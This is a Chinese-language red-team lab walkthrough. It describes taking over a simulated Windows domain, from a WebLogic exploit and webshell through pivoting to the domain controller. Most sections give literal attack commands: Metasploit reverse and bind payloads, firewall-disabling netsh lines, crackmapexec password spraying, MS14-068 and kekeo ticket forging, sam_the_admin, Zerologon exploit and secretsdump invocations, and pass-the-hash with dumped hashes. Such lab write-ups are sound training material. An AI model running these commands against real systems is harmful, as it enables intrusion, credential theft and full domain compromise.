前言:
本套靶场来源于渗透攻击红队。大佬勿喷,请多多指教。
环境拓扑:
一、信息收集
1.端口扫描:
使用工具nmap对目标192.168.1.106进行端口扫描,命令为 nmap -sV -O 192.168.1.106,通过端口扫描发现目标网站开放7001端口,
访问页面http://192.168.1.106:7001/ ,发现为该网站使用的框架为weblogic,
2.目录扫描:
通过第一步的端口扫描发现该网站开放端口7001,进一步使用dirsearch工具进行目录扫描,命令为python3 dirsearch.py -u http://192.168.1.106:7001/
通过目录扫描,发现weblogic的登录控制台为http://192.168.1.106:7001/console/login/LoginForm.jsp
二、漏洞检测&利用&上传cs后门
1.漏洞检测
通过前期的信息收集发现该环境使用的是weblogic框架,使用WeblogicTool_1.3.jar漏洞检测工具对目标网站进行检测,发现存在CVE_2016_0638_ECHO漏洞,且为administrator权限。
注入内存马
2.getshell
使用webshell管理工具哥斯拉进行连接,输入地址&密码&秘钥,成功链接。
3.上传CS后门
使用cs生成后门,并上传至桌面运行,成功收到目标会话。
设置回连间隔为0,进行网络环境查看,发现该主机存在10.10.20.1/24网段。
使用cs内置端口扫描进行内网主机探测。
发现在该网段下还存在目标10.10.20.7主机:
三、拿下个人主机
1.设置socks代理
对10.10.20.12进行渗透,使用cs进行socks代理,
使用工具进行代理设置:
设置规则:由前期信息收集得到目标主机位于10.10.20.1/24的网段,IP为10.10.20.7,
设置代理成功之后,使用fscan进行检测,fscan.exe -h 10.10.20.7
2.cs派送会话到msf
根据检测得知该主机存在ms17-010漏洞,我们使用cs将会话派送至msf进行漏洞利用。
使用msf进行监听,payload要设置为http。
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lport 1001
set lhost 192.168.204.128
使用cs生成监听器,并进行会话派送,设置IP为msf的服务器IP,端口与msf设置监听端口一致,
新建会话,选择刚生成的会话进行派送,msf接受会话。
添加路由:run autoroute -s 10.10.20.1/24
查看是否添加成功:run autoroute -p
3.使用msf17-010对个人主机进行攻击
返回页面,使用ms17-010对目标个人主机进行攻击。
使用第一个模块进行攻击【在设置payload时,要注意设置为正向连接,默认为反向,因为目标机器处于内网,因此需要我们主动去进行连接】
set payload windows/x64/meterpreter/bind_tcp
set rhosts 10.10.20.7
收到会话,且为system权限。
4.cs转发上线个人主机
因为该主机处于内网,无法进行将会话派送至cs上,因此我们利用cs的转发上线,将后门上传至主机。
在进行监听器的创建时,要注意将监听地址设置为10.10.20.12(该地址与目标个人PC处于同一网段,可进行通信)
生成后门,将后门上传至目标机器,并执行
执行命令发现cs中并没有会话产生,首先判断webserver是否开启防火墙,使用命令shell netsh firewall show state发现防火墙开启,所以导致转发上线无法成功,因此我们使用shell netsh firewall set opmode mode=disable 命令关闭防火墙。
查看防火墙状态:netsh firewall show state
开启防火墙:netsh firewall set opmode mode=enable
关闭防火墙:netsh firewall set opmode mode=disable
此时再次执行后门,发现cs成功上线。
转发上线成功。
四、内网渗透
通过cs获取被控主机的明文密码以及NTLM Hash值,
windows2012以上默认关闭wdigest,因此无法从内存中获取明文密码,同时,如果windwos2012一下的机器安装了KB2871997补丁,同样也无法从内存中获取到明文密码。
通过命令net time /domain发现该pc主机处于域环境中,且域控IP为10.10.10.8
通过net view /domain来判断域,得到域为redteam
现在被控主机为system权限,因此我们查看进程,借用进程注入,生成一个域用户权限的会话,
选择一个进程进行注入,选择前面生成的转发上线会话,
上线成功。
1.密码喷射攻击:
通过命令net user /domain收集域用户
得到域用户,将域用户作为用户名字典,再将得到的明文密码以及NTLM Hash 当做密码字典进行攻击。
使用msf开启socks代理,在kali中使用crackmapexec进行密码喷射
创建路由“run autoroute -s 10.10.10.1/24”
查找socks模块:search socks
查看配置:show options
设置代理服务器监听IP set srvhost 0.0.0.0
设置代理服务器监听端口 set srvport 1080
设置socks版本 set version 5
run运行
在kali的/etc/proxychains4.conf中配置代理:
使用cs探测域内存活主机:
经过探测,发现在10.10.10.1/24网段下存在域控主机10.10.10.8以及sqlserver服务器10.10.10.18
我们使用前期收集到的账户名作为账户字典,明文密码以及HTLM Hash作为密码字典进行密码喷射。
进行密码喷射:proxychains crackmapexec smb 10.10.10.8-20 -u user.txt -p passwd.txt
得到域控主机10.10.10.8以及sqlserver服务器10.10.10.18的用户密码
再次使用NTLM Hash进行密码喷射:proxychains crackmapexec smb 10.10.10.8 -u user.txt -H hash_passwd.txt 得到域管理员的账号以及NTLM Hash
2.使用ms14-068攻击
ms14-068需要得到域内的一个普通用户以及sid值,即可成功将域普通用户提升为域管理用户。
在个人主机中上传ms14-068对域控进行攻击,
获取域用户saul的sid值:whoami/user,得到值为S-1-5-21-1359007890-1682372173-1631803504-1135
前期通过对个人主机saul的密码收集,得到域用户为saul,密码为admin!@#45
使用命令MS14-068.exe -u saul@redteam.red -s S-1-5-21-1359007890-1682372173-1631803504-1135 -d 10.10.10.8 -p admin!@#45
此时会在当前目录生成一个票据:
将生成的票据使用mimikatz进行导入:
mimikatz kerberos::ptc TGT_saul@redteam.red.ccache
使用命令dir \\owa.redteam.red\c$对域控进行连接:
攻击成功。
3.约束委派
由前面密码喷射得到域管理的账号和HTLM Hash,使用域管理员进行PTH横向移动到sqlserver服务器10.10.10.18:
在个人saul PC上新建监听器,用作域内环境进行转发上线,
使用PTH进行横向移动。
使用PTH横向移动成功。
进行明文密码抓取,得到账号为sqlserver,密码为Server12345
上传AdFind.exe到sqlserver服务器,查询域内设置了约束委派的服务账户:
执行命令:AdFind -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
上传kekeo.exe到sqlserver服务器
执行命令,获取当前用户的票据: kekeo "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" "exit"
此时生成票据:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi
利用用户票据获取域控票据:kekeo "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi
/user:Administrator@redteam.red /service:cifs/owa.redteam.red" "exit"
此时会生成票据,我们使用TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi票据进行导入。
使用mimikatz进行票据导入:
与域控进行通讯:
4.CVE-2021-42287
通过前期收集密码,我们得到一个域内用户名为sqlserver,密码为Server12345。
使用CVE-2021-42287对域控进行攻击,
使用条件:需要一个有效的普通域用户账户即可(已满足)
proxychains4 python3 sam_the_admin.py redteam/sqlserver:Server12345 -dc-ip 10.10.10.8 -shell
5.CVE-2020-1472
条件:要能访问到域控,且知道域控的主机名。
使用cs配合Proxifier开启socks代理,测试连接成功。
获取域控主机名:使用saul主机执行net group "domain controllers" /domain
使用cs将流量代理到本地电脑,使用exp进行攻击。
漏洞检测:python3 zerologon_tester.py owa 10.10.10.8
重置空密码:python3 cve-2020-1472-exploit.py owa 10.10.10.8
导出hash:python3 secretsdump.py "redteam.red/OWA$"@10.10.10.8 -just-dc -no-pass
获得域控hash:aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7
使用WMI 连接反弹:python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7 redteam/administrator@10.10.10.8
成功拿到域控权限。
五、结语
至此,该靶场记录以全部完毕,还剩下权限维持内容,在以后的文章中会有体现。第一次写文章,可能写的不好,都是记录过程,希望大家多多担待,多多指教。